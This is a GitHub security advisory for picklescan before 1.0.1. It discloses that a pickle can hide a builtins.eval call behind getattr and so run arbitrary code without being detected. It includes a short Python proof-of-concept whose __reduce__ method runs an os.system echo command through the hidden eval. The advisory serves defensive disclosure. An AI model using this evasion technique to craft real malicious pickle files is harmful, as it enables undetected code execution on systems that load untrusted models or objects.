GitHub Advisoryadvisory · PyPI

GHSA-9m3x-qqw2-h32h picklescan missing detection by simple obfuscation of a `builtins.eval` call

HIGH Published 2026-02-02 Modified 2026-06-18 Official page ↗
Aliases
CVE-2026-53874
Ecosystem
PyPI
Packages
picklescan
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weaknesses
CWE-502
Reviewed
2026-02-02

Affected packages

• PyPI picklescan: < 1.0.1 → fixed in 1.0.1

Description

Summary An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source. Details It's possible to hide the `eval` call nested under another callable via `getattr`. PoC ```python import builtins class EvilClass: @staticmethod def _obfuscated_eval(payload): getattr(builtins, "eval")(payload) def __reduce__(self): payload = "__import__('os').system('echo \"successful attack\"')" return self._obfuscated_eval, (payload,) ``` Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.

Related

Alias · CVE (1)

  • CVE-2026-53874 picklescan before 1.0.1 contains an unsafe deserialization vulnerability allowing unauthenticated users to execute arbitrary code by hiding… vulnerability

Weakness · CWE (1)

  • CWE-502 Deserialization of Untrusted Data weakness

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